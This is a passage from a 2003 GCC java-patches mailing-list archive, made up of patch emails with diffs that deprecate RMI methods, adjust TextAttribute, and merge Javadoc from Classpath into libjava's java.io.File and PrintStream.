java/rmi/server/RemoteStub.java 31 Mar 2003 06:47:28 -0000 @@ -51,6 +51,9 @@ super (ref); } + /** + * @deprecated + */ protected static void setRef (RemoteStub stub, RemoteRef ref) { stub.ref = ref; Index: java/rmi/server/Skeleton.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/server/Skeleton.java,v retrieving revision 1.3 diff -u -r1.3 Skeleton.java --- java/rmi/server/Skeleton.java 21 Mar 2003 09:00:29 -0000 1.3 +++ java/rmi/server/Skeleton.java 31 Mar 2003 06:47:28 -0000 @@ -38,7 +38,6 @@ package java.rmi.server; import java.rmi.Remote; -import java.lang.Exception; import java.rmi.server.RemoteCall; /** @@ -46,8 +45,14 @@ */ public interface Skeleton { + /** + * @deprecated + */ public void dispatch (Remote obj, RemoteCall theCall, int opnum, long hash) throws Exception; + /** + * @deprecated + */ public Operation[] getOperations(); } --Boundary-00=_HV+h+BE6XFuKvZK-- From java-patches-return-6625-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 09:56:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13551 invoked by alias); 31 Mar 2003 09:56:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13537 invoked from network); 31 Mar 2003 09:56:44 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by sources.redhat.com with SMTP; 31 Mar 2003 09:56:44 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-67-167.ewetel.net [80.228.67.167]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2V9ugso028633 for ; Mon, 31 Mar 2003 11:56:43 +0200 (MEST) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18zw08-0005Vl-00 for ; Mon, 31 Mar 2003 11:54:48 +0200 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.awt.font.TextAttribute Date: Mon, 31 Mar 2003 11:58:12 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_0EBi+kTzi9Tnz38" Message-Id: <200303311158.12868.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_0EBi+kTzi9Tnz38 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to make java.awt.font 100% API=20 compatible with SUNs implementation. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+iBE0WSOgCCdjSDsRAhNvAJ97+vgg3WjYITfVNi9zfT1Sbx7RtgCfRk+7 qTygWgj+oOaU+vH4On25LVM=3D =3DsyP9 =2D----END PGP SIGNATURE----- --Boundary-00=_0EBi+kTzi9Tnz38 Content-Type: text/x-diff; charset="iso-8859-15"; name="font.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="font.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1831 diff -u -r1.1831 ChangeLog --- ChangeLog 31 Mar 2003 06:49:32 -0000 1.1831 +++ ChangeLog 31 Mar 2003 09:54:48 -0000 @@ -1,5 +1,10 @@ 2003-03-31 Michael Koch + * java/awt/font/TextAttribute.java + (readResolve): Throws java.io.InvalidObjectException. + +2003-03-31 Michael Koch + * java/rmi/server/LoaderHandler.java (loadClass): Deprecated. (getSecurityContext): Deprecated. Index: java/awt/font/TextAttribute.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/font/TextAttribute.java,v retrieving revision 1.1 diff -u -r1.1 TextAttribute.java --- java/awt/font/TextAttribute.java 17 Feb 2003 15:26:30 -0000 1.1 +++ java/awt/font/TextAttribute.java 31 Mar 2003 09:54:48 -0000 @@ -38,6 +38,7 @@ package java.awt.font; +import java.io.InvalidObjectException; import java.text.AttributedCharacterIterator; public final class TextAttribute extends AttributedCharacterIterator.Attribute @@ -115,6 +116,7 @@ } protected Object readResolve () + throws InvalidObjectException { throw new Error ("not implemented"); } --Boundary-00=_0EBi+kTzi9Tnz38-- From java-patches-return-6626-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 10:16:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23086 invoked by alias); 31 Mar 2003 10:15:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23037 invoked from network); 31 Mar 2003 10:15:57 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by sources.redhat.com with SMTP; 31 Mar 2003 10:15:57 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-67-167.ewetel.net [80.228.67.167]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2VAFpso005458 for ; Mon, 31 Mar 2003 12:15:52 +0200 (MEST) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18zwIf-0005Wm-00 for ; Mon, 31 Mar 2003 12:13:57 +0200 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io - documentation merges Date: Mon, 31 Mar 2003 12:17:23 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_zWBi+Gke22w3mcW" Message-Id: <200303311217.23500.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_zWBi+Gke22w3mcW Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to merge documentation in java.io from=20 classpath to trunk. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+iBWzWSOgCCdjSDsRApNaAJ46jUXrbuhAnJwstvW1d54kLyYy9gCghYE8 Y1BVikwp2eYUY+3hXmPj/F8=3D =3DIpH6 =2D----END PGP SIGNATURE----- --Boundary-00=_zWBi+Gke22w3mcW Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1832 diff -u -r1.1832 ChangeLog --- ChangeLog 31 Mar 2003 09:55:08 -0000 1.1832 +++ ChangeLog 31 Mar 2003 10:14:07 -0000 @@ -1,5 +1,80 @@ 2003-03-31 Michael Koch + * java/io/File.java + (separator): Merged documentation from classpath. + (separatorChar): Merged documentation from classpath. + (pathSeparator): Merged documentation from classpath. + (pathSeparatorChar): Merged documentation from classpath. + (path): Merged documentation from classpath. + (canRead): Merged documentation from classpath. + (canWrite): Merged documentation from classpath. + (createNewFile): Merged documentation from classpath. + (delete): Merged documentation from classpath. + (equals): Merged documentation from classpath. + (exists): Merged documentation from classpath. + (File): Renamed p to name to match classpath, merged documentation + from classpath. + (getAbsolutePath): Merged documentation from classpath. + (getCanonicalPath): Merged documentation from classpath. + (getCanonicalFile): Merged documentation from classpath. + (getName): Merged documentation from classpath. + (getParent): Merged documentation from classpath. + (getParentFile): Merged documentation from classpath. + (getPath): Merged documentation from classpath. + (hashCode): Merged documentation from classpath. + (isAbsolute): Merged documentation from classpath. + (isDirectory): Merged documentation from classpath. + (isFile): Merged documentation from classpath. + (isHidden): Merged documentation from classpath. + (lastModified): Merged documentation from classpath. + (length): Merged documentation from classpath. + (list): Merged documentation from classpath. + (listFiles): Merged documentation from classpath. + (toString): Merged documentation from classpath. + (toURL): Merged documentation from classpath. + (mkdir): Merged documentation from classpath. + (mkdirs): Merged documentation from classpath. + (createTempFile): Merged documentation from classpath. + (setReadOnly): Merged documentation from classpath. + (listRoots): Merged documentation from classpath. + (compareTo): Merged documentation from classpath. + (renameTo): Merged documentation from classpath. + (setLastModified): Merged documentation from classpath. + * java/io/PrintStream.java + (auto_flush): Merged documentation from classpath. + (PrintStream): Merged documentation from classpath. + (checkError): Merged documentation from classpath. + (setError): Merged documentation from classpath. + (close): Merged documentation from classpath. + (flush): Merged documentation from classpath. + (print): Merged documentation from classpath. + (println): Merged documentation from classpath. + (write): Renamed count to len to match classpath, + merged documentation from classpath. + * java/io/RandomAccessFile.java + (readShort): Merged documentation from classpath. + (readUnsignedByte): Merged documentation from classpath. + (readUnsignedShort): Merged documentation from classpath. + (readUTF): Merged documentation from classpath. + (seek): Reformatted, merged documentation from classpath. + (skipBytes): Renamed some variables to match classpath, reformatted, + merged documentation from classpath. + (write): Merged documentation from classpath. + (writeBoolean): Merged documentation from classpath. + (writeByte): Merged documentation from classpath. + (writeShort): Merged documentation from classpath. + (writeChar): Merged documentation from classpath. + (writeInt): Merged documentation from classpath. + (writeLong): Merged documentation from classpath. + (writeFloat): Merged documentation from classpath. + (writeDouble): Merged documentation from classpath. + (writeBytes): Merged documentation from classpath. + (writeChars): Merged documentation from classpath. + (writeUTF): Reformatted. + (getChannel): Reformatted. + +2003-03-31 Michael Koch + * java/awt/font/TextAttribute.java (readResolve): Throws java.io.InvalidObjectException. Index: java/io/File.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/File.java,v retrieving revision 1.30 diff -u -r1.30 File.java --- java/io/File.java 28 Mar 2003 13:07:46 -0000 1.30 +++ java/io/File.java 31 Mar 2003 10:14:08 -0000 @@ -81,12 +81,94 @@ private final native boolean _access (int query); private final native boolean _stat (int query); + /** + * This is the path separator string for the current host. This field + * contains the value of the file.separator system property. + * An example separator string would be "/" on the GNU system. + */ + public static final String separator = System.getProperty("file.separator"); + + /** + * This is the first character of the file separator string. On many + * hosts (for example, on the GNU system), this represents the entire + * separator string. The complete separator string is obtained from the + * file.separatorsystem property. + */ + public static final char separatorChar = separator.charAt(0); + + /** + * This is the string that is used to separate the host name from the + * path name in paths than include the host name. It is the value of + * the path.separator system property. + */ + public static final String pathSeparator + = System.getProperty("path.separator"); + + /** + * This is the first character of the string used to separate the host name + * from the path name in paths that include a host. The separator string + * is taken from the path.separator system property. + */ + public static final char pathSeparatorChar = pathSeparator.charAt(0); + + + static final String tmpdir = System.getProperty("java.io.tmpdir"); + static int maxPathLen; + static boolean caseSensitive; + static String dupSeparator = separator + separator; + + static + { + init_native(); + } + + // Native function called at class initialization. This should should + // set the maxPathLen and caseSensitive variables. + private static native void init_native(); + + /** + * This is the path to the file set when the object is created. It + * may be an absolute or relative path name. + */ + private String path; + + // We keep a counter for use by createTempFile. We choose the first + // value randomly to try to avoid clashes with other VMs. + private static long counter = Double.doubleToLongBits (Math.random ()); + + /** + * This method tests whether or not the current thread is allowed to + * to read the file pointed to by this object. This will be true if and + * and only if 1) the file exists and 2) the SecurityManager + * (if any) allows access to the file via it's checkRead + * method 3) the file is readable. + * + * @return true if reading is allowed, + * false otherwise + * + * @exception SecurityException If the SecurityManager + * does not allow access to the file + */ public boolean canRead () { checkRead(); return _access (READ); } + /** + * This method test whether or not the current thread is allowed to + * write to this object. This will be true if and only if 1) The + * SecurityManager (if any) allows write access to the + * file and 2) The file exists and 3) The file is writable. To determine + * whether or not a non-existent file can be created, check the parent + * directory for write access. + * + * @return true if writing is allowed, false + * otherwise + * + * @exception SecurityException If the SecurityManager + * does not allow access to the file + */ public boolean canWrite () { checkWrite(); @@ -95,7 +177,23 @@ private native boolean performCreate() throws IOException; - /** @since 1.2 */ + /** + * This method creates a new file of zero length with the same name as + * the path of this File object if an only if that file + * does not already exist. + *

            + * A SecurityManagercheckWrite check is done prior + * to performing this action. + * + * @return true if the file was created, false if + * the file alread existed. + * + * @exception IOException If an I/O error occurs + * @exception SecurityException If the SecurityManager will + * not allow this operation to be performed. + * + * @since 1.2 + */ public boolean createNewFile() throws IOException { checkWrite(); @@ -103,6 +201,16 @@ } private native boolean performDelete (); + + /** + * This method deletes the file represented by this object. If this file + * is a directory, it must be empty in order for the delete to succeed. + * + * @return true if the file was deleted, false + * otherwise + * + * @exception SecurityException If deleting of the file is not allowed + */ public boolean delete () { SecurityManager s = System.getSecurityManager(); @@ -112,6 +220,21 @@ return performDelete (); } + /** + * This method tests two File objects for equality by + * comparing the path of the specified File against the path + * of this object. The two objects are equal if an only if 1) The + * argument is not null 2) The argument is a File object and + * 3) The path of the Fileargument is equal to the path + * of this object. + *

            + * The paths of the files are determined by calling the + * getPath() + * method on each object. + * + * @return true if the two objects are equal, + * false otherwise. + */ public boolean equals (Object obj) { if (! (obj instanceof File)) @@ -123,15 +246,29 @@ return (path.equalsIgnoreCase(other.path)); } + /** + * This method tests whether or not the file represented by the object + * actually exists on the filesystem. + * + * @return true if the file exists, falseotherwise. + * + * @exception SecurityException If reading of the file is not permitted + */ public boolean exists () { checkRead(); return _access (EXISTS); } - public File (String p) + /** + * This method initializes a new File object to represent + * a file with the specified path. + * + * @param name The path name of the file + */ + public File (String name) { - path = normalizePath(p); + path = normalizePath (name); } // Remove duplicate and redundant separator characters. @@ -195,7 +332,17 @@ return newpath.toString(); } - + + /** + * This method initializes a new File object to represent + * a file in the specified named directory. The path name to the file + * will be the directory name plus the separator string plus the file + * name. If the directory path name ends in the separator string, another + * separator string will still be appended. + * + * @param dirname The path to the directory the file resides in + * @param name The name of the file + */ public File (String dirPath, String name) { if (name == null) @@ -213,11 +360,30 @@ path = normalizePath(name); } - public File (File dir, String name) - { - this (dir == null ? null : dir.path, name); - } - + /** + * This method initializes a new File object to represent + * a file in the specified directory. If the directory + * argument is null, the file is assumed to be in the + * current directory as specified by the user.dir system + * property + * + * @param directory The directory this file resides in + * @param name The name of the file + */ + public File (File directory, String name) + { + this (directory == null ? null : directory.path, name); + } + + /** + * This method returns the path of this file as an absolute path name. + * If the path name is already absolute, then it is returned. Otherwise + * the value returned is the current directory plus the separatory + * string plus the path of the file. The current directory is determined + * from the user.dir system property. + * + * @return The absolute path of this file + */ public String getAbsolutePath () { if (isAbsolute ()) @@ -234,26 +400,70 @@ return System.getProperty ("user.dir") + separatorChar + path; } - /** @since 1.2 */ + /** + * This method returns a File object representing the + * absolute path of this object. + * + * @return A File with the absolute path of the object. + * + * @since 1.2 + */ public File getAbsoluteFile () { return new File (getAbsolutePath()); } + /** + * This method returns a canonical representation of the pathname of + * this file. The actual form of the canonical representation is + * different. On the GNU system, the canonical form differs from the + * absolute form in that all relative file references to "." and ".." + * are resolved and removed. + *

            + * Note that this method, unlike the other methods which return path + * names, can throw an IOException. This is because native method + * might be required in order to resolve the canonical path + * + * @exception IOException If an error occurs + */ public native String getCanonicalPath () throws IOException; - /** @since 1.2 */ + /** + * This method returns a File object representing the + * canonical path of this object. + * + * @return A File instance representing the canonical path of + * this object. + * + * @exception IOException If an error occurs. + * + * @since 1.2 + */ public File getCanonicalFile () throws IOException { return new File (getCanonicalPath()); } + /** + * This method returns the name of the file. This is everything in the + * complete path of the file after the last instance of the separator + * string. + * + * @return The file name + */ public String getName () { int last = path.lastIndexOf(separatorChar); return path.substring(last + 1); } + /** + * This method returns a String the represents this file's + * parent. null is returned if the file has no parent. The + * parent is determined via a simple operation which removes the + * + * @return The parent directory of this file + */ public String getParent () { int last = path.lastIndexOf(separatorChar); @@ -265,18 +475,40 @@ return path.substring(0, last); } - /** @since 1.2 */ + /** + * This method returns a File object representing the parent + * file of this one. + * + * @param A File for the parent of this object. + * null + * will be returned if this object does not have a parent. + * + * @since 1.2 + */ public File getParentFile () { String parent = getParent (); return (parent == null ? null : new File (parent)); } + /** + * Returns the path name that represents this file. May be a relative + * or an absolute path name + * + * @return The pathname of this file + */ public String getPath () { return path; } + /** + * This method returns a hash code representing this file. It is the + * hash code of the path of this file (as returned by getPath()) + * exclusived or-ed with the value 1234321. + * + * @return The hash code for this object + */ public int hashCode () { if (caseSensitive) @@ -285,33 +517,93 @@ return (path.toLowerCase().hashCode() ^ 1234321); } + /** + * This method returns true if this object represents an absolute file + * path and false if it does not. The definition of an absolute path varies + * by system. As an example, on GNU systems, a path is absolute if it starts + * with a "/". + * + * @return true if this object represents an absolute + * file name, false otherwise. + */ public native boolean isAbsolute (); + /** + * This method tests whether or not the file represented by this object + * is a directory. In order for this method to return true, + * the file represented by this object must exist and be a directory. + * + * @return true if this file is a directory, false + * otherwise + * + * @exception SecurityException If reading of the file is not permitted + */ public boolean isDirectory () { checkRead(); return _stat (DIRECTORY); } + /** + * This method tests whether or not the file represented by this object + * is a "plain" file. A file is a plain file if and only if it 1) Exists, + * 2) Is not a directory or other type of special file. + * + * @return true if this is a plain file, false + * otherwise + * + * @exception SecurityException If reading of the file is not permitted + */ public boolean isFile () { checkRead(); return _stat (ISFILE); } - /** @since 1.2 */ + /** + * This method tests whether or not this file represents a "hidden" file. + * On GNU systems, a file is hidden if its name begins with a "." + * character. Files with these names are traditionally not shown with + * directory listing tools. + * + * @return true if the file is hidden, false + * otherwise. + * + * @since 1.2 + */ public boolean isHidden() { checkRead(); return _stat (ISHIDDEN); } + /** + * This method returns the last modification time of this file. The + * time value returned is an abstract value that should not be interpreted + * as a specified time value. It is only useful for comparing to other + * such time values returned on the same system. In that case, the larger + * value indicates a more recent modification time. + *

            + * If the file does not exist, then a value of 0 is returned. + * + * @return The last modification time of the file + * + * @exception SecurityException If reading of the file is not permitted + */ public long lastModified () { checkRead(); return attr (MODIFIED); } + /** + * This method returns the length of the file represented by this object, + * or 0 if the specified file does not exist. + * + * @return The length of the file + * + * @exception SecurityException If reading of the file is not permitted + */ public long length () { checkRead(); @@ -322,44 +614,168 @@ FileFilter fileFilter, Class result_type); + /** + * This method returns a array of String's representing the + * list of files is then directory represented by this object. If this + * object represents a non-directory file or a non-existent file, then + * null is returned. The list of files will not contain + * any names such as "." or ".." which indicate the current or parent + * directory. Also, the names are not guaranteed to be sorted. + *

            + * In this form of the list() method, a filter is specified + * that allows the caller to control which files are returned in the + * list. The FilenameFilter specified is called for each + * file returned to determine whether or not that file should be included + * in the list. + *

            + * A SecurityManager check is made prior to reading the + * directory. If read access to the directory is denied, an exception + * will be thrown. + * + * @param filter An object which will identify files to exclude from + * the directory listing. + * + * @return An array of files in the directory, or null + * if this object does not represent a valid directory. + * + * @exception SecurityException If read access is not allowed to the + * directory by the SecurityManager + */ public String[] list (FilenameFilter filter) { checkRead(); return (String[]) performList (filter, null, String.class); } + /** + * This method returns a array of String's representing the + * list of files is then directory represented by this object. If this + * object represents a non-directory file or a non-existent file, then + * null is returned. The list of files will not contain + * any names such as "." or ".." which indicate the current or parent + * directory. Also, the names are not guaranteed to be sorted. + *

            + * A SecurityManager check is made prior to reading the + * directory. If read access to the directory is denied, an exception + * will be thrown. + * + * @return An array of files in the directory, or null if + * this object does not represent a valid directory. + * + * @exception SecurityException If read access is not allowed to the + * directory by the SecurityManager + */ public String[] list () { checkRead(); return (String[]) performList (null, null, String.class); } - /** @since 1.2 */ + /** + * This method returns an array of File objects representing + * all the files in the directory represented by this object. If this + * object does not represent a directory, null is returned. + * Each of the returned File object is constructed with this + * object as its parent. + *

            + * A SecurityManager check is made prior to reading the + * directory. If read access to the directory is denied, an exception + * will be thrown. + * + * @return An array of File objects for this directory. + * + * @exception SecurityException If the SecurityManager denies + * access to this directory. + * + * @since 1.2 + */ public File[] listFiles() { checkRead(); return (File[]) performList (null, null, File.class); } - /** @since 1.2 */ + /** + * This method returns an array of File objects representing + * all the files in the directory represented by this object. If this + * object does not represent a directory, null is returned. + * Each of the returned File object is constructed with this + * object as its parent. + *

            + * In this form of the listFiles() method, a filter is specified + * that allows the caller to control which files are returned in the + * list. The FilenameFilter specified is called for each + * file returned to determine whether or not that file should be included + * in the list. + *

            + * A SecurityManager check is made prior to reading the + * directory. If read access to the directory is denied, an exception + * will be thrown. + * + * @return An array of File objects for this directory. + * + * @exception SecurityException If the SecurityManager denies + * access to this directory. + * + * @since 1.2 + */ public File[] listFiles(FilenameFilter filter) { checkRead(); return (File[]) performList (filter, null, File.class); } - /** @since 1.2 */ + /** + * This method returns an array of File objects representing + * all the files in the directory represented by this object. If this + * object does not represent a directory, null is returned. + * Each of the returned File object is constructed with this + * object as its parent. + *

            + * In this form of the listFiles() method, a filter is specified + * that allows the caller to control which files are returned in the + * list. The FileFilter specified is called for each + * file returned to determine whether or not that file should be included + * in the list. + *

            + * A SecurityManager check is made prior to reading the + * directory. If read access to the directory is denied, an exception + * will be thrown. + * + * @return An array of File objects for this directory. + * + * @exception SecurityException If the SecurityManager denies + * access to this directory. + * + * @since 1.2 + */ public File[] listFiles(FileFilter filter) { checkRead(); return (File[]) performList (null, filter, File.class); } + /** + * This method returns a String that is the path name of the + * file as returned by getPath. + * + * @return A String representation of this file + */ public String toString () { return path; } + /** + * This method returns a URL with the file: + * protocol that represents this file. The exact form of this URL is + * system dependent. + * + * @return A URL for this object. + * + * @exception MalformedURLException If the URL cannot be created + * successfully. + */ public URL toURL () throws MalformedURLException { // On Win32, Sun's JDK returns URLs of the form "file:/c:/foo/bar.txt", @@ -374,6 +790,14 @@ private final native boolean performMkdir (); + /** + * This method creates a directory for the path represented by this object. + * + * @return true if the directory was created, + * false otherwise + * + * @exception SecurityException If write access is not allowed to this file + */ public boolean mkdir () { checkWrite(); @@ -396,6 +820,15 @@ return x.mkdir(); } + /** + * This method creates a directory for the path represented by this file. + * It will also create any intervening parent directories if necessary. + * + * @return true if the directory was created, + * false otherwise + * + * @exception SecurityException If write access is not allowed to this file + */ public boolean mkdirs () { checkWrite(); @@ -409,7 +842,36 @@ return Long.toString(counter++, Character.MAX_RADIX); } - /** @since 1.2 */ + /** + * This method creates a temporary file in the specified directory. If + * the directory name is null, then this method uses the system temporary + * directory. The files created are guaranteed not to currently exist and + * the same file name will never be used twice in the same virtual + * machine instance. + * The system temporary directory is determined by examinging the + * java.io.tmpdir system property. + *

            + * The prefix parameter is a sequence of at least three + * characters that are used as the start of the generated filename. The + * suffix parameter is a sequence of characters that is used + * to terminate the file name. This parameter may be null + * and if it is, the suffix defaults to ".tmp". + *

            + * If a SecurityManager exists, then its checkWrite + * method is used to verify that this operation is permitted. + * + * @param prefix The character prefix to use in generating the path name. + * @param suffix The character suffix to use in generating the path name. + * @param directory The directory to create the file in, or + * null for the default temporary directory + * + * @exception IllegalArgumentException If the patterns is not valid + * @exception SecurityException If there is no permission to perform + * this operation + * @exception IOException If an error occurs + * + * @since 1.2 + */ public static File createTempFile (String prefix, String suffix, File directory) throws IOException @@ -473,7 +935,20 @@ private native boolean performSetReadOnly(); - /** @since 1.2 */ + /** + * This method sets the file represented by this object to be read only. + * A read only file or directory cannot be modified. Please note that + * GNU systems allow read only files to be deleted if the directory it + * is contained in is writable. + * + * @return true if the operation succeeded, false + * otherwise. + * + * @exception SecurityException If the SecurityManager does + * not allow this operation. + * + * @since 1.2 + */ public boolean setReadOnly() { checkWrite(); @@ -482,7 +957,17 @@ private static native File[] performListRoots(); - /** @since 1.2 */ + /** + * This method returns an array of filesystem roots. Some operating systems + * have volume oriented filesystem. This method provides a mechanism for + * determining which volumes exist. GNU systems use a single hierarchical + * filesystem, so will have only one "/" filesystem root. + * + * @return An array of File objects for each filesystem root + * available. + * + * @since 1.2 + */ public static File[] listRoots() { File[] roots = performListRoots(); @@ -519,13 +1004,55 @@ return roots; } + /** + * This method creates a temporary file in the system temporary directory. + * The files created are guaranteed not to currently exist and the same file + * name will never be used twice in the same virtual machine instance. The + * system temporary directory is determined by examinging the + * java.io.tmpdir system property. + *

            + * The prefix parameter is a sequence of at least three + * characters that are used as the start of the generated filename. The + * suffix parameter is a sequence of characters that is used + * to terminate the file name. This parameter may be null + * and if it is, the suffix defaults to ".tmp". + *

            + * If a SecurityManager exists, then its checkWrite + * method is used to verify that this operation is permitted. + *

            + * This method is identical to calling + * createTempFile(prefix, suffix, null). + * + * @param prefix The character prefix to use in generating the path name. + * @param suffix The character suffix to use in generating the path name. + * + * @exception IllegalArgumentException If the prefix or suffix are not valid. + * @exception SecurityException If there is no permission to perform + * this operation + * @exception IOException If an error occurs + */ public static File createTempFile (String prefix, String suffix) throws IOException { return createTempFile (prefix, suffix, null); } - /** @since 1.2 */ + /** + * This method compares the specified File to this one + * to test for equality. It does this by comparing the canonical path names + * of the files. + *

            + * The canonical paths of the files are determined by calling the + * getCanonicalPath method on each object. + *

            + * This method returns a 0 if the specified Object is equal + * to this one, a negative value if it is less than this one + * a positive value if it is greater than this one. + * + * @return An integer as described above + * + * @since 1.2 + */ public int compareTo(File other) { if (caseSensitive) @@ -534,7 +1061,27 @@ return path.compareToIgnoreCase (other.path); } - /** @since 1.2 */ + /** + * This method compares the specified Object to this one + * to test for equality. It does this by comparing the canonical path names + * of the files. This method is identical to compareTo(File) + * except that if the Object passed to it is not a + * File, it throws a ClassCastException + *

            + * The canonical paths of the files are determined by calling the + * getCanonicalPath method on each object. + *

            + * This method returns a 0 if the specified Object is equal + * to this one, a negative value if it is less than this one + * a positive value if it is greater than this one. + * + * @return An integer as described above + * + * @exception ClassCastException If the passed Object is + * not a File + * + * @since 1.2 + */ public int compareTo(Object o) { File other = (File) o; @@ -542,6 +1089,19 @@ } private native boolean performRenameTo (File dest); + + /** + * This method renames the file represented by this object to the path + * of the file represented by the argument File. + * + * @param dest The File object representing the target name + * + * @return true if the rename succeeds, false + * otherwise. + * + * @exception SecurityException If write access is not allowed to the + * file by the SecurityMananger. + */ public boolean renameTo (File dest) { SecurityManager s = System.getSecurityManager(); @@ -556,40 +1116,28 @@ } private native boolean performSetLastModified(long time); - - /** @since 1.2 */ + + /** + * This method sets the modification time on the file to the specified + * value. This is specified as the number of seconds since midnight + * on January 1, 1970 GMT. + * + * @param time The desired modification time. + * + * @return true if the operation succeeded, false + * otherwise. + * + * @exception IllegalArgumentException If the specified time is negative. + * @exception SecurityException If the SecurityManager will + * not allow this operation. + * + * @since 1.2 + */ public boolean setLastModified(long time) { checkWrite(); return performSetLastModified(time); } - - public static final String pathSeparator - = System.getProperty("path.separator"); - public static final char pathSeparatorChar = pathSeparator.charAt(0); - public static final String separator = System.getProperty("file.separator"); - public static final char separatorChar = separator.charAt(0); - - static final String tmpdir = System.getProperty("java.io.tmpdir"); - static int maxPathLen; - static boolean caseSensitive; - static String dupSeparator = separator + separator; - - static - { - init_native(); - } - - // Native function called at class initialization. This should should - // set the maxPathLen and caseSensitive variables. - private static native void init_native(); - - // The path. - private String path; - - // We keep a counter for use by createTempFile. We choose the first - // value randomly to try to avoid clashes with other VMs. - private static long counter = Double.doubleToLongBits (Math.random ()); private void checkWrite () { Index: java/io/PrintStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/PrintStream.java,v retrieving revision 1.14 diff -u -r1.14 PrintStream.java --- java/io/PrintStream.java 28 Mar 2003 13:07:46 -0000 1.14 +++ java/io/PrintStream.java 31 Mar 2003 10:14:08 -0000 @@ -84,32 +84,76 @@ // True if error occurred. private boolean error; // True if auto-flush. + /** + * This is true if auto-flush is enabled, + * false otherwise + */ private boolean auto_flush; + /** + * This method intializes a new PrintStream object to write + * to the specified output sink. Note that this class is deprecated in + * favor of PrintWriter. + * + * @param out The OutputStream to write to. + * + * @deprecated + */ public PrintStream (OutputStream out) { this(out, false); } + /** + * This method intializes a new PrintStream object to write + * to the specified output sink. This constructor also allows "auto-flush" + * functionality to be specified where the stream will be flushed after + * every line is terminated or newline character is written. + *

            + * Note that this class is deprecated in favor of PrintWriter. + * + * @param out The OutputStream to write to. + * @param auto_flush true to flush the stream after every + * line, false otherwise + * + * @deprecated + */ public PrintStream (OutputStream out, boolean auto_flush) { super(out); + converter = UnicodeToBytes.getDefaultEncoder(); error = false; this.auto_flush = auto_flush; } + /** + * This method checks to see if an error has occurred on this stream. Note + * that once an error has occurred, this method will continue to report + * true forever for this stream. Before checking for an + * error condition, this method flushes the stream. + * + * @return true if an error has occurred, + * false otherwise + */ public boolean checkError () { flush(); return error; } + /** + * This method can be called by subclasses to indicate that an error + * has occurred and should be reported by checkError. + */ protected void setError () { error = true; } + /** + * This method closes this stream and all underlying streams. + */ public void close () { try @@ -127,6 +171,10 @@ } } + /** + * This method flushes any buffered bytes to the underlying stream and + * then flushes that stream as well. + */ public void flush () { try @@ -210,103 +258,245 @@ } } + /** + * This methods prints a boolean value to the stream. true + * values are printed as "true" and false values are printed + * as "false". + * + * @param b The boolean value to print + */ public void print (boolean bool) { print(String.valueOf(bool), false); } + /** + * This method prints an integer to the stream. The value printed is + * determined using the String.valueOf() method. + * + * @param inum The int value to be printed + */ public void print (int inum) { print(String.valueOf(inum), false); } + /** + * This method prints a long to the stream. The value printed is + * determined using the String.valueOf() method. + * + * @param lnum The long value to be printed + */ public void print (long lnum) { print(String.valueOf(lnum), false); } + /** + * This method prints a float to the stream. The value printed is + * determined using the String.valueOf() method. + * + * @param fnum The float value to be printed + */ public void print (float fnum) { print(String.valueOf(fnum), false); } + /** + * This method prints a double to the stream. The value printed is + * determined using the String.valueOf() method. + * + * @param dnum The double value to be printed + */ public void print (double dnum) { print(String.valueOf(dnum), false); } + /** + * This method prints an Object to the stream. The actual + * value printed is determined by calling the String.valueOf() + * method. + * + * @param obj The Object to print. + */ public void print (Object obj) { print(obj == null ? "null" : obj.toString(), false); } + /** + * 